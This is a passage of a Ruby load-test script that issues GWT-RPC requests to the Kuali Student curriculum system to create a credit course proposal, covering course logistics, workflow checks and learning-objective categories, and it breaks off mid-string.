opts[:admin_dep_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/admin_dep_var_name/%%_#{opts[:admin_dep_var_name]}%%\", {}, {'subst' => 'true'})\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|16|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|org.queryParam.orgOptionalLongName|#{admin_org[0..itr]}|org.queryParam.orgOptionalType|java.lang.String/2004016611|kuali.org.Department|kuali.org.College|org.search.generic||1|2|3|4|1|5|5|0|6|0|7|2|8|9|0|10|8|11|7|2|12|13|12|14|0|15|16|0|0|\"\n } \n )\n end \n end\n\n @request.add_thinktime(15)\n\n # Save & Continue\n contents1 = \"5|0|101|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|AL|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|courseTitle|#{opts[:course_title]}|creditOptions|crossListings|descr|plain|#{opts[:course_description]}|expenditure|affiliatedOrgs|fees|formats|gradingOptions|id|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|_runtimeData|id-translation|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|metaInfo|createId|#{opts[:propose_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|#{version_indicator+=1}|pilotCourse|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|revenues|specialTopicsCourse|state|draft|subjectArea|#{opts[:subject_area]}|termsOffered|transcriptTitle|#{opts[:course_short_title]}|type|kuali.lu.type.CreditCourse|unitsContentOwner|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|dirty|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|2|name|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|32|8|9|10|5|6|7|0|1|11|12|0|13|14|-1|8|9|8|15|13|16|8|17|13|18|8|19|10|5|6|7|0|0|-1|-15|8|20|13|21|8|22|10|5|6|7|0|0|-1|-21|8|23|10|5|6|7|0|0|-1|-25|8|24|10|5|6|7|0|1|8|25|13|26|-1|-29|8|27|10|5|6|7|0|1|8|28|10|5|6|7|0|0|-37|-39|-1|-35|8|29|10|5|6|7|0|0|-1|-43|8|30|10|5|6|7|0|0|-1|-47|8|31|10|5|6|7|0|0|-1|-51|8|32|13|33|8|34|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|35|13|36|8|37|10|5|6|7|0|1|8|35|10|5|6|7|0|1|8|38|13|39|-69|-71|-63|-67|-59|-61|-1|-57|8|40|10|5|6|7|0|0|-1|-77|8|41|13|42|8|43|10|5|6|7|0|5|8|44|13|45|8|46|47|48|1854995943|1314259992576|519000000|8|49|13|45|8|50|47|48|1854995943|1314259992576|519000000|8|51|13|52|-1|-83|8|53|54|55|0|8|56|10|5|6|7|0|0|-1|-102|8|57|54|-101|8|58|13|59|8|60|13|61|8|62|10|5|6|7|0|0|-1|-112|8|63|13|64|8|65|13|66|8|67|10|5|6|7|0|2|11|-8|13|68|8|37|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|38|13|69|-128|-130|-122|-126|-1|8|67|8|70|10|5|6|7|0|2|11|-8|13|71|8|37|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|38|13|72|-145|-147|-139|-143|-1|8|70|8|73|10|5|6|7|0|0|-1|-154|8|74|10|5|6|7|0|3|8|75|47|48|1854995943|1314259992576|519000000|8|76|77|78|1|0|8|79|13|80|-1|-158|8|37|10|5|6|7|0|2|8|60|10|5|6|7|0|1|8|38|13|61|-172|-174|8|81|10|5|6|7|0|3|8|9|54|55|1|8|67|54|-186|8|70|54|-186|-172|-180|-1|-170|8|82|10|5|6|7|0|12|8|83|13|84|8|32|13|85|8|43|10|5|6|7|0|5|8|44|13|45|8|46|47|48|1854996146|1314259992576|722000000|8|49|13|45|8|50|47|48|1854997119|1314259992576|695000000|8|51|13|86|-193|-199|8|87|13|88|8|89|10|5|6|7|0|1|11|-8|13|33|-193|-217|8|90|13|91|8|92|10|5|6|7|0|0|-193|-225|8|93|10|5|6|7|0|0|-193|-229|8|94|13|95|8|58|13|96|8|65|13|97|8|98|13|99|-1|-191|8|100|10|5|6|7|0|1|8|101|10|5|6|7|0|0|-243|-245|-1|-241|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalLuTypeStartsWith|kuali.lu.type.activity.|lu.search.all.lu.Types|lu.resultColumn.luTypeName|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.atptype.duration|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n \n \n #\n # Course Logistics \n # Term: Any\n # Duration Type: Semester\n # Duration Count: 2\n # Assessment Scale: Letter\n # Standard Final Exam\n # Outcome: 10 credits\n # Course Format\n # => Activity Type: Lab, Contact Hours: 5, Frequency: weekly\n # => Duration Type: Weekly\n # => Duration: 13\n # => Anticipated class size: 100\n\n @request.add_thinktime(30)\n\n # Save & Continue\n contents1 = \"5|0|126|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|courseTitle|#{opts[:course_title]}|creditOptions|dirty|type|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|fixedCreditValue|created|kuali.resultComponentType.credit.degree.fixed|10|crossListings|descr|plain|#{opts[:course_description]}|expenditure|affiliatedOrgs|fees|formats|activities|activityType|defaultEnrollmentEstimate|kuali.lu.type.activity.Lab|contactHours|unitQuantity|unitType|kuali.atp.duration.week|duration|atpDurationTypeKey|timeQuantity|kuali.atp.duration.Week|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|gradingOptions|kuali.resultComponent.grade.letter|id|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|metaInfo|createId|#{opts[:propose_person]}|createTime|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|#{version_indicator+=1}|pilotCourse|revenues|specialTopicsCourse|state|draft|subjectArea|#{opts[:subject_area]}|termsOffered|kuali.atp.season.Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|unitsContentOwner|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|finalExamStatus|audit|passFail|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|3|name|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators|kuali.atp.duration.Semester|STD\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|36|8|9|10|5|6|7|0|2|11|12|0|13|14|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|17|-12|-14|-5|-10|-1|-3|8|18|13|19|8|20|13|21|8|22|10|5|6|7|0|0|-1|-24|8|23|13|24|8|25|10|5|6|7|0|1|11|-8|10|5|6|7|0|3|8|15|10|5|6|7|0|3|8|26|10|5|6|7|0|2|8|27|28|29|1|8|30|28|-48|-40|-42|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-51|28|-48|-54|-42|-40|-38|-36|-38|-46|13|32|-49|13|33|-32|-34|-1|-30|8|34|10|5|6|7|0|0|-1|-62|8|35|10|5|6|7|0|1|8|36|13|37|-1|-66|8|38|10|5|6|7|0|1|8|39|10|5|6|7|0|0|-74|-76|-1|-72|8|40|10|5|6|7|0|0|-1|-80|8|41|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|42|10|5|6|7|0|1|11|-8|10|5|6|7|0|5|-38|10|5|6|7|0|3|-42|10|5|6|7|0|2|8|43|28|-48|8|44|28|-48|-101|-42|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-110|28|-48|-113|-42|-101|-38|-98|-38|-106|13|45|8|46|10|5|6|7|0|3|8|47|13|33|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|-124|28|-48|8|48|28|-48|-127|-42|-122|-38|-133|13|49|-98|-120|8|50|10|5|6|7|0|3|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|8|51|28|-48|8|52|28|-48|-141|-42|-138|-38|-146|13|53|-148|54|12|13|-98|-136|-108|54|12|100|-94|-96|-90|-92|8|15|10|5|6|7|0|2|8|31|28|-48|-38|10|5|6|7|0|1|-42|10|5|6|7|0|1|-159|28|-48|-162|-42|-157|-38|-90|-155|-86|-88|-1|-84|8|55|10|5|6|7|0|1|11|-8|13|56|-1|8|55|8|57|13|58|8|59|10|5|6|7|0|1|11|-8|10|5|6|7|0|2|8|60|13|61|8|15|10|5|6|7|0|1|8|60|10|5|6|7|0|1|8|16|13|62|-189|-191|-183|-187|-179|-181|-1|-177|8|63|10|5|6|7|0|0|-1|-197|8|64|13|65|8|66|10|5|6|7|0|5|8|67|13|68|8|69|70|71|1854995943|1314259992576|519000000|8|72|13|68|8|73|70|71|1856244060|1314259992576|636000000|8|74|13|75|-1|-203|8|76|28|29|0|8|77|10|5|6|7|0|0|-1|-222|8|78|28|-221|8|79|13|80|8|81|13|82|8|83|10|5|6|7|0|1|11|-8|13|84|-1|8|83|8|85|13|86|8|27|13|87|8|88|10|5|6|7|0|2|11|-8|13|89|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|90|-251|-253|-245|-249|-1|-243|8|91|10|5|6|7|0|2|11|-8|13|92|8|15|10|5|6|7|0|1|11|-8|10|5|6|7|0|1|8|16|13|93|-267|-269|-261|-265|-1|-259|8|94|10|5|6|7|0|0|-1|-275|8|95|10|5|6|7|0|3|8|96|70|71|1854995943|1314259992576|519000000|8|97|98|99|1|0|8|100|13|101|-1|-279|8|15|10|5|6|7|0|2|8|81|10|5|6|7|0|1|8|16|13|82|-293|-295|-42|10|5|6|7|0|5|8|83|28|-48|8|55|28|-48|8|102|28|-48|8|103|28|-48|8|104|28|-48|-293|-42|-1|-291|8|105|10|5|6|7|0|12|8|106|13|107|8|57|13|108|8|66|10|5|6|7|0|5|8|67|13|68|8|69|70|71|1854996146|1314259992576|722000000|8|72|13|68|8|73|70|71|1856244989|1314259992576|565000000|8|74|13|109|-316|-322|8|110|13|111|8|112|10|5|6|7|0|1|11|-8|13|58|-316|-340|8|113|13|114|8|115|10|5|6|7|0|0|-316|-348|8|116|10|5|6|7|0|0|-316|-352|8|117|13|118|8|79|13|119|8|27|13|120|8|121|13|122|-1|-314|8|123|10|5|6|7|0|1|8|124|10|5|6|7|0|0|-366|-368|-1|-364|8|50|10|5|6|7|0|3|-38|10|5|6|7|0|1|-42|10|5|6|7|0|2|8|51|28|-48|8|52|28|-48|-377|-42|-374|-38|-382|13|125|-384|54|12|2|-1|-372|-308|13|126|-310|28|-221|-312|28|-221|0|0|\"\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CreditCourseProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"#{contents1}#{contents2}\"\n },\n {\n 'subst' => 'true',\n :dyn_variables => [\n {\"name\" => opts[:enroll_est_var_name], \"re\" => opts[:enroll_est_var_regexp]},\n {\"name\" => opts[:lab_var_name], \"re\" => opts[:lab_var_regexp]},\n {\"name\" => opts[:atp_duration_week_var_name], \"re\" => opts[:atp_duration_week_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/enroll_est_var_name/%%_#{opts[:enroll_est_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/lab_var_name/%%_#{opts[:lab_var_name]}%%\", {}, {'subst' => 'true'})\n #@request.add(\"DEBUG/atp_duration_week_var_name/%%_#{opts[:atp_duration_week_var_name]}%%\", {}, {'subst' => 'true'})\n\n @request.add_thinktime(2)\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getActionsRequested|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/WorkflowRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|71417C94A72A0CF76A43A2B36B8E3E1B|org.kuali.student.core.workflow.ui.client.service.WorkflowRpcService|getDocumentStatus|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/ProposalRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|12BDE6C2DA6A7CF74BE0FBF074E806E1|org.kuali.student.core.proposal.ui.client.service.ProposalRpcService|getProposalByWorkflowId|java.lang.String/2004016611|%%_#{opts[:proposal_doc_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {\n 'subst' => 'true'\n }\n )\n \n \n \n #\n # Learning Objectives\n #\n\n @request.add_thinktime(5)\n\n # Category\n for i in 1..opts[:lo_category].length\n itr = i-1\n if(i == opts[:lo_category].length)\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lo.queryParam.loOptionalCategoryName|#{opts[:lo_category][0..itr]}|lo.search.loCategories|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|0|0|0|\"\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:lo_category_id_var_name], \"re\" => opts[:lo_category_id_var_regexp]}\n ]\n }\n )\n\n #@request.add(\"DEBUG/lo_category_id_var_name/%%_#{opts[:lo_category_id_var_name]}%%\", {}, {'subst' => 'true'})\n\n else\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lo.queryParam.loOptionalCategoryName|#{opts[:lo_category][0..itr]}|lo.search.loCategories|1|2|3|4|1|5|5|0|6|0|7|1|8|9|0|10|11|0|0|0|\"\n } \n )\n end \n end\n\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|AC3B9DCF992DD862E331BCB0704203E2|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getData|java.lang.String/2004016611|%%_#{opts[:lo_category_id_var_name]}%%|1|2|3|4|1|5|6|\"\n },\n {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/LoCategoryRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|AC3B9DCF992DD862E331BCB0704203E2|org.kuali.student.lum.common.client.lo.rpc.LoCategoryRpcService|getLoCategoryType|java.lang.String/2004016611|loCategoryType.subject|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add_thinktime(25)\n\n # Save & Continue\n contents1 = \"5|0|155|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|A239E8C5A2EDCD8BCE6061BF191A8095|org.kuali.student.lum.lu.ui.course.client.service.CreditCourseProposalRpcService|saveData|org.kuali.student.common.assembly.data.Data/3184510345|org.kuali.student.common.assembly.data.Data|java.util.LinkedHashMap/1551059846|org.kuali.student.common.assembly.data.Data$StringKey/758802082|passFail|org.kuali.student.common.assembly.data.Data$BooleanValue/4261226833|java.lang.Boolean/476441737|audit|finalExamStatus|org.kuali.student.common.assembly.data.Data$StringValue/3151113388|STD|campusLocations|org.kuali.student.common.assembly.data.Data$DataValue/1692468409|org.kuali.student.common.assembly.data.Data$IntegerKey/134469241|java.lang.Integer/3438268394|AL|_runtimeData|id-translation|All|code|#{opts[:subject_area]}#{opts[:course_suffix]}|courseNumberSuffix|#{opts[:course_suffix]}|courseSpecificLOs|loInfo|id|desc|formatted|#{opts[:lo_cat_text]}|plain|name|SINGLE USE LO|sequence|0|metaInfo|loCategoryInfoList|%%_#{opts[:lo_category_id_var_name]}%%|#{opts[:lo_category]}|loRepository|kuali.loRepository.key.singleUse|effectiveDate|org.kuali.student.common.assembly.data.Data$DateValue/2929953165|expirationDate|state|active|type|loCategoryType.subject|createId|admin|createTime|java.sql.Timestamp/1769758459|updateId|updateTime|versionInd|courseTitle|#{opts[:course_title]}|creditOptions|fixedCreditValue|10.0|kuali.creditType.credit.degree.10.0|#{opts[:propose_person]}|resultValues|draft|kuali.resultComponentType.credit.degree.fixed|Credits, Fixed|crossListings|descr|#{opts[:course_description]}|duration|atpDurationTypeKey|kuali.atp.duration.Semester|timeQuantity|org.kuali.student.common.assembly.data.Data$IntegerValue/3605481012|Semester|expenditure|affiliatedOrgs|fees|formats|activities|activityType|kuali.lu.type.activity.Lab|contactHours|unitQuantity|10|unitType|kuali.atp.duration.week|per week|defaultEnrollmentEstimate|kuali.atp.duration.Week|Week|%%_#{opts[:atp_duration_week_var_name]}%%|unitsContentOwner|Lab|%%_#{opts[:lab_var_name]}%%|termsOffered|kuali.lu.type.CreditCourseFormatShell|gradingOptions|kuali.resultComponent.grade.letter|Letter|%%_#{opts[:clu_ref_dyn_var_name]}%%|instructors|personId|#{opts[:instructor]}|#{opts[:instructor]}, #{opts[:instructor]}(#{opts[:instructor]})|joints|level|100|2|pilotCourse|revenues|specialTopicsCourse|subjectArea|#{opts[:subject_area]}|kuali.atp.season.Any|Any|transcriptTitle|#{opts[:course_short_title]}|kuali.lu.type.CreditCourse|#{opts[:oversight_dept_number]}|#{oversight_department}|unitsDeployment|%%_#{opts[:admin_dep_var_name]}%%|#{admin_org}|variations|versionInfo|currentVersionStart|sequenceNumber|org.kuali.student.common.assembly.data.Data$LongValue/3784756947|java.lang.Long/4227064769|versionIndId|%%_#{opts[:version_ind_id_name]}%%|Standard final Exam|proposal|workflowNode|PreRoute|%%_#{opts[:proposal_dyn_var_name]}%%|4|#{opts[:proposal_title]}|proposalReference|proposalReferenceType|kuali.proposal.referenceType.clu|proposerOrg|proposerPerson|rationale|#{opts[:course_rationale]}|Saved|kuali.proposal.type.course.create|workflowId|%%_#{opts[:proposal_doc_id_var_name]}%%|collaboratorInfo|collaborators\"\n contents2 = \"|1|2|3|4|1|5|5|6|7|0|36|8|9|10|11|0|8|12|10|-5|8|13|14|15|8|16|17|5|6|7|0|2|18|19|0|14|20|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|23|-19|-21|-12|-17|-1|-10|8|24|14|25|8|26|14|27|8|28|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|29|17|5|6|7|0|5|8|30|14|0|8|31|17|5|6|7|0|2|8|32|14|33|8|34|14|33|-41|-45|8|35|14|36|8|37|14|38|8|39|17|0|-37|-39|8|40|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|30|14|41|8|35|14|42|8|31|17|5|6|7|0|2|8|32|14|0|8|34|14|0|-65|-71|8|43|14|44|8|45|46|0|8|47|46|0|8|48|14|49|8|50|14|51|8|39|17|5|6|7|0|5|8|52|14|53|8|54|46|55|3759152200|1288490188800|0|8|56|14|53|8|57|46|55|3759152200|1288490188800|0|8|58|14|38|-65|-89|-61|-63|-37|-59|-33|-35|-1|8|28|8|59|14|60|8|61|17|5|6|7|0|1|18|-15|17|5|6|7|0|7|8|62|14|63|8|30|14|64|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|1861297882|1314259992576|458000000|8|56|14|65|8|57|46|55|1861297882|1314259992576|458000000|8|58|14|38|-114|-120|8|66|17|5|6|7|0|1|18|-15|14|63|-114|-136|8|48|14|67|8|50|14|68|8|21|17|5|6|7|0|1|8|50|17|5|6|7|0|1|8|22|14|69|-148|-150|-114|-146|-110|-112|-1|-108|8|70|17|5|6|7|0|0|-1|-156|8|71|17|5|6|7|0|1|8|34|14|72|-1|-160|8|73|17|5|6|7|0|3|8|74|14|75|8|76|77|19|2|8|21|17|5|6|7|0|1|8|74|17|5|6|7|0|1|8|22|14|78|-177|-179|-168|-175|-1|-166|8|79|17|5|6|7|0|1|8|80|17|5|6|7|0|0|-187|-189|-1|-185|8|81|17|5|6|7|0|0|-1|-193|8|82|17|5|6|7|0|1|18|-15|17|5|6|7|0|6|8|83|17|5|6|7|0|1|18|-15|17|5|6|7|0|9|8|84|14|85|8|86|17|5|6|7|0|3|8|87|14|88|8|89|14|90|8|21|17|5|6|7|0|1|8|89|17|5|6|7|0|1|8|22|14|91|-225|-227|-217|-223|-211|-215|8|92|77|19|100|8|73|17|5|6|7|0|3|8|74|14|93|8|76|77|19|13|8|21|17|5|6|7|0|1|8|74|17|5|6|7|0|1|8|22|14|94|-247|-249|-238|-245|-211|-236|8|30|14|95|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|1861297868|1314259992576|444000000|8|56|14|65|8|57|46|55|1861297868|1314259992576|444000000|8|58|14|38|-211|-257|8|48|14|67|8|96|17|5|6|7|0|0|-211|-275|8|21|17|5|6|7|0|1|8|84|17|5|6|7|0|1|8|22|14|97|-281|-283|-211|-279|-207|-209|-203|-205|8|30|14|98|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|1861297859|1314259992576|435000000|8|56|14|65|8|57|46|55|1861297859|1314259992576|435000000|8|58|14|38|-203|-291|8|48|14|67|8|99|17|5|6|7|0|0|-203|-309|8|50|14|100|-199|-201|-1|-197|8|101|17|5|6|7|0|2|18|-15|14|102|8|21|17|5|6|7|0|1|18|-15|17|5|6|7|0|1|8|22|14|103|-323|-325|-317|-321|-1|-315|8|30|14|104|8|105|17|5|6|7|0|1|18|-15|17|5|6|7|0|2|8|106|14|107|8|21|17|5|6|7|0|1|8|106|17|5|6|7|0|1|8|22|14|108|-345|-347|-339|-343|-335|-337|-1|-333|8|109|17|5|6|7|0|0|-1|-353|8|110|14|111|8|39|17|5|6|7|0|5|8|52|14|65|8|54|46|55|1854995943|1314259992576|519000000|8|56|14|65|8|57|46|55|1861297799|1314259992576|375000000|8|58|14|112|-1|-359|8|113|10|-5|8|114|17|5|6|7|0|0|-1|-377|8|115|10|-5|8|48|14|67|8|116|14|117|8|99|17|5|6|7|0|2|18|-15|14|118|8|21|17|5|6|7|0|1|18|-15